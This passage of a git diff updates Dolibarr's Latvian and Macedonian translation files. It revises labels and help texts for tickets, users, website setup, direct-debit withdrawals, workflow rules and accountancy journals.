TicketParamModule=Moduļa mainīgā iestatīšana TicketParamMail=E-pasta iestatīšana -TicketEmailNotificationFrom=Sender e-mail for notification on answers -TicketEmailNotificationFromHelp=Sender e-mail to use to send the notification email when an answer is provided inside the backoffice. For example noreply@example.com +TicketEmailNotificationFrom=Sūtīt e-pastu, lai saņemtu paziņojumu par atbildēm +TicketEmailNotificationFromHelp=Sūtītāja e-pasts, ko izmantot, lai nosūtītu e-pasta paziņojumu, kad atbilde tiek sniegta aizmugures birojā. Piemēram, noreply@example.com TicketEmailNotificationTo=Paziņot par biļetes izveidi uz šo e-pasta adresi TicketEmailNotificationToHelp=Ja tāda ir, šī e-pasta adrese tiks informēta par biļetes izveidi TicketNewEmailBodyLabel=Īsziņa, kas nosūtīta pēc pieteikuma izveides @@ -149,6 +153,8 @@ TicketsAutoNotifyCloseHelp=Aizverot biļeti, jums tiks piedāvāts nosūtīt zi TicketWrongContact=Norādītā kontaktpersona nav daļa no pašreizējām biļešu kontaktpersonām. E-pasts nav nosūtīts. TicketChooseProductCategory=Produktu kategorija biļešu atbalstam TicketChooseProductCategoryHelp=Atlasiet biļešu atbalsta produktu kategoriju. Tas tiks izmantots, lai automātiski saistītu līgumu ar biļeti. +TicketUseCaptchaCode=Veidojot biļeti, izmantojiet grafisko kodu (CAPTCHA). +TicketUseCaptchaCodeHelp=Veidojot jaunu biļeti, pievieno CAPTCHA verifikāciju. # # Index & list page @@ -180,7 +186,7 @@ CreatedBy=Izveidojis NewTicket=Jauns notikums SubjectAnswerToTicket=Pieteikuma atbilde TicketTypeRequest=Pieprasījuma veids -TicketCategory=Biļešu kategorizēšana +TicketCategory=Ticket group SeeTicket=Apskatīt pieteikumu TicketMarkedAsRead=Pieteikums ir atzīmēts kā lasīts TicketReadOn=Izlasīts @@ -192,8 +198,7 @@ TicketAssigned=Pieteikums ir piešķirts TicketChangeType=Mainīt veidu TicketChangeCategory=Mainīt analītisko kodu TicketChangeSeverity=Mainīt nozīmīgumu -TicketAddMessage=Pievienot ziņu -AddMessage=Pievienot ziņu +TicketAddMessage=Pievienot privātu ziņu MessageSuccessfullyAdded=Pieteikums pievienots TicketMessageSuccessfullyAdded=Ziņojums ir veiksmīgi pievienots TicketMessagesList=Ziņu saraksts @@ -204,8 +209,8 @@ TicketSeverity=Svarīgums ShowTicket=Apskatīt pieteikumu RelatedTickets=Saistītie pieteikumi TicketAddIntervention=Izveidojiet iejaukšanos -CloseTicket=Aizvērt | Atrisināt biļeti -AbandonTicket=Atteikties no biļetes +CloseTicket=Aizvērt|Atrisināt +AbandonTicket=Pamest CloseATicket=Aizvērt | Atrisiniet biļeti ConfirmCloseAticket=Apstiprināt pieteikuma aizvēršanu ConfirmAbandonTicket=Vai jūs apstiprināt biļetes slēgšanu līdz statusam “Pamesta” @@ -219,18 +224,17 @@ SendMessageByEmail=Nosūtīt ziņu pa e-pastu TicketNewMessage=Jauna ziņa ErrorMailRecipientIsEmptyForSendTicketMessage=Saņēmējs ir tukšs. Nav e-pasta nosūtīt TicketGoIntoContactTab=Lūdzu, dodieties uz cilni "Kontakti", lai tos atlasītu -TicketMessageMailIntro=Ievads +TicketMessageMailIntro=Ziņojuma galvene TicketMessageMailIntroHelp=Šis teksts tiek pievienots tikai e-pasta sākumā un netiks saglabāts. -TicketMessageMailIntroLabelAdmin=Ievadteksts visām biļešu atbildēm TicketMessageMailIntroText=Labdien,
      Biļetei, kurai sekojat, ir pievienota jauna atbilde. Šeit ir ziņojums:
      TicketMessageMailIntroHelpAdmin=Šis teksts tiks ievietots pirms atbildes, atbildot uz biļeti no Dolibarr -TicketMessageMailSignature=Paraksts -TicketMessageMailSignatureHelp=Šis teksts tiek pievienots tikai e-pasta ziņojuma beigās un netiks saglabāts. -TicketMessageMailSignatureText=Ziņojumu nosūtīja %s , izmantojot Dolibarr -TicketMessageMailSignatureLabelAdmin=Atbildes e-pasta paraksts -TicketMessageMailSignatureHelpAdmin=Šis teksts tiks ievietots pēc atbildes ziņojuma. +TicketMessageMailFooter=Ziņojuma kājene +TicketMessageMailFooterHelp=Šis teksts tiek pievienots tikai e-pastā nosūtītās ziņas beigās un netiks saglabāts. +TicketMessageMailFooterText=Ziņojumu nosūtīja %s , izmantojot Dolibarr +TicketMessageMailFooterHelpAdmin=Šis teksts tiks ievietots pēc atbildes ziņojuma. TicketMessageHelp=Tikai šis teksts tiks saglabāts ziņojumu sarakstā uz biļešu kartes. TicketMessageSubstitutionReplacedByGenericValues=Mainīšanas mainīgos aizstāj ar vispārējām vērtībām. +ForEmailMessageWillBeCompletedWith=E-pasta ziņojumiem, kas nosūtīti ārējiem lietotājiem, ziņojums tiks pabeigts ar TimeElapsedSince=Laiks pagājis kopš TicketTimeToRead=Laiks, kas pagājis pirms izlasīšanas TicketTimeElapsedBeforeSince=Laiks, kas pagājis pirms / kopš @@ -241,6 +245,7 @@ TicketMessageMailIntroAutoNewPublicMessage=Biļetē tika publicēts jauns ziņoj TicketAssignedToYou=Pieteikums piešķirts TicketAssignedEmailBody=Jums piešķīra pieteikumu # %s %s MarkMessageAsPrivate=Atzīmēt ziņu kā privātu +TicketMessageSendEmailHelp=E-pasts tiks nosūtīts visiem piešķirtajiem kontaktiem (iekšējiem kontaktiem, bet arī ārējiem kontaktiem, izņemot, ja ir atzīmēta opcija "%s") TicketMessagePrivateHelp=Šis ziņojums netiks rādīts ārējiem lietotājiem TicketEmailOriginIssuer=Emitents pēc biļetes avota InitialMessage=Sākotnējā ziņa @@ -296,7 +301,7 @@ TicketNewEmailBodyInfosTrackUrlCustomer=Jūs varat apskatīt pieteikuma statusu TicketCloseEmailBodyInfosTrackUrlCustomer=Ar šīs biļetes vēsturi varat iepazīties, noklikšķinot uz šīs saites TicketEmailPleaseDoNotReplyToThisEmail=Lūdzu, neatbildiet tieši uz šo e-pastu! Izmantojiet saiti, lai atbildētu interfeisu. TicketPublicInfoCreateTicket=Šī veidlapa ļauj ierakstīt atbalsta biļeti mūsu vadības sistēmā. -TicketPublicPleaseBeAccuratelyDescribe=Lūdzu, precīzi aprakstiet problēmu. Iesniedziet pēc iespējas vairāk informācijas, lai mēs varētu pareizi identificēt jūsu pieprasījumu. +TicketPublicPleaseBeAccuratelyDescribe=Lūdzu, precīzi aprakstiet savu jautājumu. Sniedziet pēc iespējas vairāk informācijas, lai mēs varētu pareizi identificēt jūsu pieprasījumu. TicketPublicMsgViewLogIn=Lūdzu, ievadiet biļešu izsekošanas ID TicketTrackId=Publiskais izsekošanas ID OneOfTicketTrackId=Viens no jūsu izsekošanas ID diff --git a/htdocs/langs/lv_LV/users.lang b/htdocs/langs/lv_LV/users.lang index c90e3ec50d4..47c3ec8d9ac 100644 --- a/htdocs/langs/lv_LV/users.lang +++ b/htdocs/langs/lv_LV/users.lang @@ -47,7 +47,7 @@ RemoveFromGroup=Dzēst no grupas PasswordChangedAndSentTo=Parole nomainīta un nosūtīta %s. PasswordChangeRequest=Pieprasījums nomainīt paroli %s PasswordChangeRequestSent=Pieprasīt, lai nomaina paroli, %s nosūtīt %s. -IfLoginExistPasswordRequestSent=Ja šī pieteikšanās ir derīgs konts, ir nosūtīts e-pasts paroles atiestatīšanai. +IfLoginExistPasswordRequestSent=Ja šis pieteikšanās ir derīgs konts (ar derīgu e-pastu), ir nosūtīts e-pasta ziņojums paroles atiestatīšanai. IfEmailExistPasswordRequestSent=Ja šis e-pasts ir derīgs konts, ir nosūtīts e-pasts paroles atiestatīšanai. ConfirmPasswordReset=Paroles atiestatīšanas apstiprināšana MenuUsersAndGroups=Lietotāji un grupas @@ -66,9 +66,9 @@ LinkedToDolibarrUser=Saite uz lietotāju LinkedToDolibarrThirdParty=Saite uz trešo pusi CreateDolibarrLogin=Izveidot lietotāju CreateDolibarrThirdParty=Izveidot trešo pusi -LoginAccountDisableInDolibarr=Konts bloķēts Dolibarr. +LoginAccountDisableInDolibarr=Konts ir atspējots Dolibarr +PASSWORDInDolibarr=Parole mainīta programmā Dolibarr UsePersonalValue=Izmantot personisko vērtību -InternalUser=Iekšējais lietotājs ExportDataset_user_1=Lietotāji un to īpašības DomainUser=Domēna lietotājs %s Reactivate=Aktivizēt @@ -128,3 +128,7 @@ DateLastLogin=Pēdējās pieteikšanās datums DatePreviousLogin=Iepriekšējās pieteikšanās datums IPLastLogin=IP pēdējā pieteikšanās IPPreviousLogin=IP iepriekšējā pieteikšanās +ShowAllPerms=Rādīt visas atļauju rindas +HideAllPerms=Slēpt visas atļauju rindas +UserPublicPageDesc=Šim lietotājam varat iespējot virtuālo karti. Būs pieejams URL ar lietotāja profilu un svītrkodu, lai ikviens, kam ir viedtālrunis, varētu to skenēt un pievienot jūsu kontaktpersonu savai adrešu grāmatai. +EnablePublicVirtualCard=Iespējot publisko virtuālo lietotāja karti diff --git a/htdocs/langs/lv_LV/website.lang b/htdocs/langs/lv_LV/website.lang index fdc8ffeb8d1..1311dd77ad3 100644 --- a/htdocs/langs/lv_LV/website.lang +++ b/htdocs/langs/lv_LV/website.lang @@ -1,5 +1,6 @@ # Dolibarr language file - Source file is en_US - website Shortname=Kods +WebsiteName=Vietnes nosaukums WebsiteSetupDesc=Izveidojiet šeit vietnes, kuras vēlaties izmantot. Pēc tam dodieties uz izvēlņu vietnes, lai tās rediģētu. DeleteWebsite=Dzēst mājaslapu ConfirmDeleteWebsite=Vai tiešām vēlaties izdzēst šo vietni? Tiks noņemtas arī visas tā lapas un saturs. Augšupielādētie faili (piemēram, datu nesēju direktorijā, ECM modulī utt.) Paliks. @@ -15,9 +16,9 @@ WEBSITE_HTML_HEADER=Papildinājums HTML galvenes apakšā (kopīgs visām lapām WEBSITE_ROBOT=Robotfails (robots.txt) WEBSITE_HTACCESS=Tīmekļa vietne .htaccess fails WEBSITE_MANIFEST_JSON=Vietnes manifest.json fails -WEBSITE_README=Fails README.md WEBSITE_KEYWORDSDesc=Lai atdalītu vērtības, izmantojiet komatu -EnterHereLicenseInformation=Ievadiet šeit meta datus vai licences informāciju, lai aizpildītu README.md failu. ja jūs izplatīsit savu vietni kā veidni, fails tiks iekļauts veidņu paketē. +EnterHereReadmeInformation=Ievadiet šeit vietnes aprakstu. Ja izplatāt savu vietni kā veidni, fails tiks iekļauts kārdinājuma pakotnē. +EnterHereLicenseInformation=Šeit ievadiet vietnes koda LICENCI. Ja izplatāt savu vietni kā veidni, fails tiks iekļauts kārdinājuma pakotnē. HtmlHeaderPage=HTML virsraksts (tikai šai lapai) PageNameAliasHelp=Lapas nosaukums vai pseidonīms.
      Šis aizstājvārds tiek izmantots arī, lai izveidotu SEO vietrādi, ja vietne tiek izmantota no Web servera virtuālās saimniekdatora (piemēram, Apacke, Nginx, ...). Izmantojiet pogu " %s , lai rediģētu šo aizstājvārdu. EditTheWebSiteForACommonHeader=Piezīme: ja vēlaties norādīt personalizētu galveni visām lapām, rediģējiet virsrakstu vietnes līmenī, nevis lapā / konteinerā. @@ -42,6 +43,8 @@ ViewPageInNewTab=Skatīt lapu jaunā cilnē SetAsHomePage=Iestatīt kā mājas lapu RealURL=Reāls URL ViewWebsiteInProduction=Apskatīt vietni, izmantojot mājas URL +Virtualhost=Virtuālais saimniekdators vai domēna nosaukums +VirtualhostDesc=Virtuālā saimniekdatora vai domēna nosaukums (piemēram, www.manavietne.com, mansuznemums.net, ...) SetHereVirtualHost=Use with Apache/NGinx/...
      Create on your web server (Apache, Nginx, ...) a dedicated Virtual Host with PHP enabled and a Root directory on
      %s ExampleToUseInApacheVirtualHostConfig=Piemērs izmantošanai Apache virtuālā resursdatora iestatīšanā: YouCanAlsoTestWithPHPS= Izmantojiet ar PHP serveri.
      Izstrādājot vidi, jūs varat izvēlēties testēt vietni ar PHP tīmekļa serveri (nepieciešams PHP 5.5), palaižot
      php -S 0.0. 0.0 8080-t %s @@ -137,7 +140,7 @@ PagesRegenerated=reģenerēta %s lapa (s) / konteiners (-i) RegenerateWebsiteContent=Atjaunojiet tīmekļa vietnes kešatmiņas failus AllowedInFrames=Atļauts rāmjos DefineListOfAltLanguagesInWebsiteProperties=Vietņu rekvizītos definējiet visu pieejamo valodu sarakstu. -GenerateSitemaps=Ģenerēt vietnes vietnes kartes failu +GenerateSitemaps=Ģenerējiet vietnes sitemap.xml failu ConfirmGenerateSitemaps=Ja apstiprināsit, jūs izdzēsīsit esošo vietnes kartes failu ... ConfirmSitemapsCreation=Apstipriniet vietnes kartes ģenerēšanu SitemapGenerated=Vietnes kartes fails %s ģenerēts @@ -145,3 +148,12 @@ ImportFavicon=Favicon ErrorFaviconType=Favicon jābūt png ErrorFaviconSize=Favicon izmēram jābūt 16x16, 32x32 vai 64x64 FaviconTooltip=Augšupielādējiet attēlu, kuram jābūt png (16x16, 32x32 vai 64x64) +NextContainer=Nākamā lapa/konteiners +PreviousContainer=Iepriekšējā lapa/konteiners +WebsiteMustBeDisabled=Vietnei ir jābūt statusam "%s" +WebpageMustBeDisabled=Tīmekļa lapai ir jābūt statusam "%s" +SetWebsiteOnlineBefore=Kad vietne ir bezsaistē, visas lapas ir bezsaistē. Vispirms mainiet vietnes statusu. +Booking=Rezervēšana +Reservation=Rezervācija +PagesViewedPreviousMonth=Skatītās lapas (iepriekšējā mēnesī) +PagesViewedTotal=Apskatītās lapas (kopā) diff --git a/htdocs/langs/lv_LV/withdrawals.lang b/htdocs/langs/lv_LV/withdrawals.lang index 6882e68056d..0ac7f442968 100644 --- a/htdocs/langs/lv_LV/withdrawals.lang +++ b/htdocs/langs/lv_LV/withdrawals.lang @@ -33,7 +33,7 @@ InvoiceWaitingPaymentByBankTransfer=Rēķins gaida pārskaitījumu AmountToWithdraw=Summa atsaukt AmountToTransfer=Pārskaitāmā summa NoInvoiceToWithdraw=Par “%s” nav atvērts rēķins. Dodieties uz rēķina kartes cilni '%s', lai iesniegtu pieprasījumu. -NoSupplierInvoiceToWithdraw=Negaida neviens piegādātāja rēķins ar atvērtiem “Tiešā kredīta pieprasījumiem”. Dodieties uz rēķina kartes cilni '%s', lai iesniegtu pieprasījumu. +NoSupplierInvoiceToWithdraw=Negaida neviens piegādātāja rēķins ar atvērtu “%s”. Rēķina kartē atveriet cilni “%s”, lai iesniegtu pieprasījumu. ResponsibleUser=Lietotājs ir atbildīgs WithdrawalsSetup=Tiešā debeta maksājuma iestatīšana CreditTransferSetup=Kredīta pārveduma iestatīšana @@ -42,6 +42,7 @@ CreditTransferStatistics=Kredīta pārvedumu statistika Rejects=Atteikumi LastWithdrawalReceipt=Jaunākie %s tiešā debeta ieņēmumi MakeWithdrawRequest=Izveidojiet tiešā debeta maksājumu pieprasījumu +MakeWithdrawRequestStripe=Veiciet tiešā debeta maksājuma pieprasījumu, izmantojot Stripe MakeBankTransferOrder=Veiciet kredīta pārveduma pieprasījumu WithdrawRequestsDone=%s reģistrēti tiešā debeta maksājumu pieprasījumi BankTransferRequestsDone=%s reģistrēti kredīta pārveduma pieprasījumi @@ -100,8 +101,11 @@ CreditDate=Kredīts WithdrawalFileNotCapable=Nevar ģenerēt izņemšanas kvīts failu jūsu valstij %s (jūsu valsts netiek atbalstīta) ShowWithdraw=Rādīt tiešā debeta rīkojumu IfInvoiceNeedOnWithdrawPaymentWontBeClosed=Tomēr, ja rēķinam ir vismaz viens tiešā debeta maksājuma rīkojums, kas vēl nav apstrādāts, tas netiks iestatīts kā maksāts, lai varētu veikt iepriekšēju izņemšanas pārvaldību. -DoStandingOrdersBeforePayments=Šī cilne ļauj pieprasīt tiešā debeta maksājuma rīkojumu. Kad tas ir izdarīts, dodieties uz izvēlni Banka-> Maksājums ar tiešo debetu, lai ģenerētu un pārvaldītu tiešā debeta rīkojumu. Kad tiešā debeta maksājums tiek aizvērts, rēķinu apmaksa tiks automātiski reģistrēta, un rēķini tiks aizvērti, ja atlikušais maksājuma apjoms nebūs spēkā. -DoCreditTransferBeforePayments=Šī cilne ļauj pieprasīt kredīta pārveduma rīkojumu. Kad tas ir izdarīts, dodieties uz izvēlni Banka-> Maksājums ar pārskaitījumu, lai ģenerētu un pārvaldītu kredīta pārveduma rīkojumu. Kad kredīta pārveduma pasūtījums tiek aizvērts, rēķinu apmaksa tiks automātiski reģistrēta, un rēķini tiks aizvērti, ja atlikušais maksājuma apjoms nebūs spēkā. +DoStandingOrdersBeforePayments=Šajā cilnē varat pieprasīt tiešā debeta maksājuma uzdevumu. Kad tas ir izdarīts, varat doties uz izvēlni "Banka-> Maksājums ar tiešo debetu", lai ģenerētu un pārvaldītu tiešā debeta pasūtījuma failu. +DoStandingOrdersBeforePayments2=Varat arī nosūtīt pieprasījumu tieši SEPA maksājumu apstrādātājam, piemēram, Stripe, ... +DoStandingOrdersBeforePayments3=Kad tiešā debeta pasūtījums tiek aizvērts, rēķinu apmaksa tiks automātiski reģistrēta, un rēķini tiks aizvērti, ja atlikusī maksājuma summa ir nulle. +DoCreditTransferBeforePayments=Šajā cilnē varat pieprasīt kredīta pārveduma pasūtījumu. Kad tas ir izdarīts, atveriet izvēlni "Banka->Maksājums ar kredīta pārvedumu", lai izveidotu un pārvaldītu Kredīta pārveduma uzdevuma failu. +DoCreditTransferBeforePayments3=Kad kredīta pārveduma pasūtījums tiek aizvērts, rēķinu apmaksa tiks automātiski reģistrēta, un rēķini tiks slēgti, ja atlikusī maksājuma summa ir nulles. WithdrawalFile=Debeta pasūtījuma fails CreditTransferFile=Kredīta pārveduma fails SetToStatusSent=Nomainīt uz statusu "Fails nosūtīts" @@ -118,7 +122,7 @@ WithdrawRequestErrorNilAmount=Nevar izveidot tīrās summas tiešā debeta piepr SepaMandate=SEPA tiešā debeta pilnvarojums SepaMandateShort=SEPA mandāts PleaseReturnMandate=Lūdzu, atsūtiet šo pilnvaru veidlapu pa e-pastu uz adresi %s vai pa pastu uz -SEPALegalText=Parakstot šo pilnvaru veidlapu, jūs pilnvarojat (A) %s nosūtīt norādījumus jūsu bankai debetēt jūsu kontu un (B) savu banku debetēt jūsu kontu saskaņā ar %s norādījumiem. Kā daļu no jūsu tiesībām jums ir tiesības saņemt naudas atmaksu no bankas saskaņā ar jūsu ar banku noslēgtā līguma noteikumiem un nosacījumiem. Jūsu tiesības saistībā ar iepriekš minēto pilnvarojumu ir izskaidrotas paziņojumā, ko varat saņemt savā bankā. +SEPALegalText=Parakstot šo pilnvaru veidlapu, jūs pilnvarojat (A) %s un tā maksājumu pakalpojumu sniedzēju nosūtīt norādījumus jūsu bankai debetēt jūsu kontu un (B) jūsu bankai debetēt jūsu kontu saskaņā ar %s norādījumiem. Kā daļu no jūsu tiesībām jums ir tiesības uz naudas atmaksu no savas bankas saskaņā ar jūsu ar banku noslēgtā līguma noteikumiem un nosacījumiem. Jūsu tiesības saistībā ar iepriekš minēto pilnvarojumu ir izskaidrotas paziņojumā, ko varat saņemt savā bankā. CreditorIdentifier=Kreditora identifikators CreditorName=Kreditora vārds SEPAFillForm=(B) Lūdzu, aizpildiet visus laukus ar atzīmi * diff --git a/htdocs/langs/lv_LV/workflow.lang b/htdocs/langs/lv_LV/workflow.lang index c7b8d5ac73d..8b4c42911b5 100644 --- a/htdocs/langs/lv_LV/workflow.lang +++ b/htdocs/langs/lv_LV/workflow.lang @@ -22,7 +22,7 @@ descWORKFLOW_INVOICE_AMOUNT_CLASSIFY_BILLED_SUPPLIER_ORDER=Klasificēt saistīto descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION=Klasificēt saistītā avota pirkuma pasūtījumu kā saņemtu, kad saņemšana ir apstiprināta (un ja visu pieņemšanu saņemtais daudzums ir tāds pats kā atjaunināmajā pirkuma pasūtījumā) descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION_CLOSED=Saistītā avota pirkuma pasūtījuma klasificēšana kā saņemta, kad pieņemšana ir slēgta (un ja visu pieņemšanu saņemtais daudzums ir tāds pats kā atjaunināmajā pirkuma pasūtījumā) # Autoclassify purchase invoice -descWORKFLOW_BILL_ON_RECEPTION=Klasificējiet pieņemjumus uz “rēķinu”, kad ir apstiprināts saistītā piegādātāja pasūtījums +descWORKFLOW_EXPEDITION_CLASSIFY_CLOSED_INVOICE=Klasificējiet pieņemšanas kā "rēķins", kad ir apstiprināts saistītais pirkuma rēķins (un ja rēķina summa ir tāda pati kā saistīto pieņemšanu kopējā summa) # Automatically link ticket to contract descWORKFLOW_TICKET_LINK_CONTRACT=Veidojot biļeti, saistiet pieejamos atbilstošās trešās puses līgumus descWORKFLOW_TICKET_USE_PARENT_COMPANY_CONTRACTS=Saistot līgumus, meklējiet starp mātesuzņēmumu līgumiem @@ -31,6 +31,6 @@ descWORKFLOW_TICKET_CLOSE_INTERVENTION=Kad biļete ir slēgta, aizveriet visas a AutomaticCreation=Automātiska veidošana AutomaticClassification=Automātiskā klasifikācija # Autoclassify shipment -descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Klasificējiet saistītā avota sūtījumu kā slēgtu, kad tiek apstiprināts klienta rēķins +descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Klasificēt saistītā avota sūtījumu kā slēgtu, kad klienta rēķins ir apstiprināts (un ja rēķina summa ir tāda pati kā saistīto sūtījumu kopējā summa) AutomaticClosing=Automātiska aizvēršana AutomaticLinking=Automātiska saistīšana diff --git a/htdocs/langs/mk_MK/accountancy.lang b/htdocs/langs/mk_MK/accountancy.lang index c2e6f545edc..99c230dcd11 100644 --- a/htdocs/langs/mk_MK/accountancy.lang +++ b/htdocs/langs/mk_MK/accountancy.lang @@ -14,8 +14,8 @@ ACCOUNTING_EXPORT_ENDLINE=Изберете го типот на кодот за ACCOUNTING_EXPORT_PREFIX_SPEC=Наведете го префиксот за името на датотеката ThisService=Оваа услуга ThisProduct=Овој производ -DefaultForService=Стандардно за услугата -DefaultForProduct=Стандардно за производот +DefaultForService=Default for services +DefaultForProduct=Default for products ProductForThisThirdparty=Product for this thirdparty ServiceForThisThirdparty=Service for this thirdparty CantSuggest=Без предлози @@ -48,8 +48,9 @@ CountriesNotInEEC=Земји што не се во Европска економ CountriesInEECExceptMe=Земји во Европската економска заедница освен %s CountriesExceptMe=Сите земји освен %s AccountantFiles=Export source documents -ExportAccountingSourceDocHelp=With this tool, you can export the source events (list in CSV and PDFs) that are used to generate your accountancy. +ExportAccountingSourceDocHelp=With this tool, you can search and export the source events that are used to generate your accountancy.
      The exported ZIP file will contain the lists of requested items in CSV, as well as their attached files in their original format (PDF, ODT, DOCX...). ExportAccountingSourceDocHelp2=To export your journals, use the menu entry %s - %s. +ExportAccountingProjectHelp=Specify a project if you need an accounting report only for a specific project. Expense reports and loan payments are not included in project reports. VueByAccountAccounting=View by accounting account VueBySubAccountAccounting=View by accounting subaccount @@ -58,28 +59,29 @@ MainAccountForSuppliersNotDefined=Главна сметководствена с MainAccountForUsersNotDefined=Главна сметководствена сметка за корисници кои не се дефинирани во сетапот MainAccountForVatPaymentNotDefined=Main accounting account for VAT payment not defined in setup MainAccountForSubscriptionPaymentNotDefined=Main accounting account for subscription payment not defined in setup +UserAccountNotDefined=Accounting account for user not defined in setup AccountancyArea=Accounting area AccountancyAreaDescIntro=Usage of the accountancy module is done in several step: AccountancyAreaDescActionOnce=The following actions are usually executed one time only, or once per year... -AccountancyAreaDescActionOnceBis=Next steps should be done to save you time in future by suggesting you the correct default accounting account when making the journalization (writing record in Journals and General ledger) +AccountancyAreaDescActionOnceBis=Next steps should be done to save you time in future by suggesting you automaticaly the correct default accounting account when transferring data in accounting AccountancyAreaDescActionFreq=The following actions are usually executed every month, week or day for very large companies... -AccountancyAreaDescJournalSetup=STEP %s: Create or check content of your journal list from menu %s +AccountancyAreaDescJournalSetup=STEP %s: Check content of your journal list from menu %s AccountancyAreaDescChartModel=STEP %s: Check that a model of chart of account exists or create one from menu %s AccountancyAreaDescChart=STEP %s: Select and|or complete your chart of account from menu %s AccountancyAreaDescVat=STEP %s: Define accounting accounts for each VAT Rates. For this, use the menu entry %s. AccountancyAreaDescDefault=STEP %s: Define default accounting accounts. For this, use the menu entry %s. -AccountancyAreaDescExpenseReport=STEP %s: Define default accounting accounts for each type of expense report. For this, use the menu entry %s. +AccountancyAreaDescExpenseReport=STEP %s: Define default accounting accounts for each type of Expense report. For this, use the menu entry %s. AccountancyAreaDescSal=STEP %s: Define default accounting accounts for payment of salaries. For this, use the menu entry %s. -AccountancyAreaDescContrib=STEP %s: Define default accounting accounts for special expenses (miscellaneous taxes). For this, use the menu entry %s. +AccountancyAreaDescContrib=STEP %s: Define default accounting accounts for Taxes (special expenses). For this, use the menu entry %s. AccountancyAreaDescDonation=STEP %s: Define default accounting accounts for donation. For this, use the menu entry %s. AccountancyAreaDescSubscription=STEP %s: Define default accounting accounts for member subscription. For this, use the menu entry %s. AccountancyAreaDescMisc=STEP %s: Define mandatory default account and default accounting accounts for miscellaneous transactions. For this, use the menu entry %s. AccountancyAreaDescLoan=STEP %s: Define default accounting accounts for loans. For this, use the menu entry %s. AccountancyAreaDescBank=STEP %s: Define accounting accounts and journal code for each bank and financial accounts. For this, use the menu entry %s. -AccountancyAreaDescProd=STEP %s: Define accounting accounts on your products/services. For this, use the menu entry %s. +AccountancyAreaDescProd=STEP %s: Define accounting accounts on your Products/Services. For this, use the menu entry %s. AccountancyAreaDescBind=STEP %s: Check the binding between existing %s lines and accounting account is done, so application will be able to journalize transactions in Ledger in one click. Complete missing bindings. For this, use the menu entry %s. AccountancyAreaDescWriteRecords=STEP %s: Write transactions into the Ledger. For this, go into menu %s, and click into button %s. @@ -99,7 +101,8 @@ ShowAccountingAccount=Show accounting account ShowAccountingJournal=Show accounting journal ShowAccountingAccountInLedger=Show accounting account in ledger ShowAccountingAccountInJournals=Show accounting account in journals -AccountAccountingSuggest=Accounting account suggested +DataUsedToSuggestAccount=Data used to suggest account +AccountAccountingSuggest=Account suggested MenuDefaultAccounts=Default accounts MenuBankAccounts=Bank accounts MenuVatAccounts=Vat accounts @@ -112,7 +115,7 @@ MenuAccountancyClosure=Closure MenuAccountancyValidationMovements=Validate movements ProductsBinding=Products accounts TransferInAccounting=Transfer in accounting -RegistrationInAccounting=Registration in accounting +RegistrationInAccounting=Recording in accounting Binding=Binding to accounts CustomersVentilation=Customer invoice binding SuppliersVentilation=Vendor invoice binding @@ -120,10 +123,11 @@ ExpenseReportsVentilation=Expense report binding CreateMvts=Create new transaction UpdateMvts=Modification of a transaction ValidTransaction=Validate transaction -WriteBookKeeping=Register transactions in accounting +WriteBookKeeping=Record transactions in accounting Bookkeeping=Ledger BookkeepingSubAccount=Subledger AccountBalance=Account balance +AccountBalanceSubAccount=Sub-accounts balance ObjectsRef=Source object ref CAHTF=Total purchase vendor before tax TotalExpenseReport=Total expense report @@ -161,41 +165,47 @@ BANK_DISABLE_DIRECT_INPUT=Disable direct recording of transaction in bank accoun ACCOUNTING_ENABLE_EXPORT_DRAFT_JOURNAL=Enable draft export on journal ACCOUNTANCY_COMBO_FOR_AUX=Enable combo list for subsidiary account (may be slow if you have a lot of third parties, break ability to search on a part of value) ACCOUNTING_DATE_START_BINDING=Define a date to start binding & transfer in accountancy. Below this date, the transactions will not be transferred to accounting. -ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, select period show by default +ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, what is the period selected by default -ACCOUNTING_SELL_JOURNAL=Sell journal -ACCOUNTING_PURCHASE_JOURNAL=Purchase journal -ACCOUNTING_MISCELLANEOUS_JOURNAL=Miscellaneous journal +ACCOUNTING_SELL_JOURNAL=Sales journal (sales and returns) +ACCOUNTING_PURCHASE_JOURNAL=Purchase journal (purchase and returns) +ACCOUNTING_BANK_JOURNAL=Cash journal (receipts and disbursements) ACCOUNTING_EXPENSEREPORT_JOURNAL=Expense report journal -ACCOUNTING_SOCIAL_JOURNAL=Social journal +ACCOUNTING_MISCELLANEOUS_JOURNAL=General journal ACCOUNTING_HAS_NEW_JOURNAL=Has new Journal +ACCOUNTING_INVENTORY_JOURNAL=Inventory journal +ACCOUNTING_SOCIAL_JOURNAL=Social journal ACCOUNTING_RESULT_PROFIT=Result accounting account (Profit) ACCOUNTING_RESULT_LOSS=Result accounting account (Loss) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Journal of closure -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Accounting account of transitional bank transfer +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Account (from the Chart Of Account) to be used as the account for transitional bank transfers TransitionalAccount=Transitional bank transfer account -ACCOUNTING_ACCOUNT_SUSPENSE=Accounting account of wait -DONATION_ACCOUNTINGACCOUNT=Accounting account to register donations -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Accounting account to register subscriptions +ACCOUNTING_ACCOUNT_SUSPENSE=Account (from the Chart Of Account) to be used as the account for unallocated funds either received or paid i.e. funds in "wait[ing]" +DONATION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register donations (Donation module) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register memberships subscriptions (Membership module - if membership recorded without invoice) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Accounting account by default to register customer deposit +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Account (from the Chart Of Account) to be used as the default account to register customer deposit +UseAuxiliaryAccountOnCustomerDeposit=Store customer account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Account (from the Chart Of Account) to be used as the default +UseAuxiliaryAccountOnSupplierDeposit=Store supplier account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) 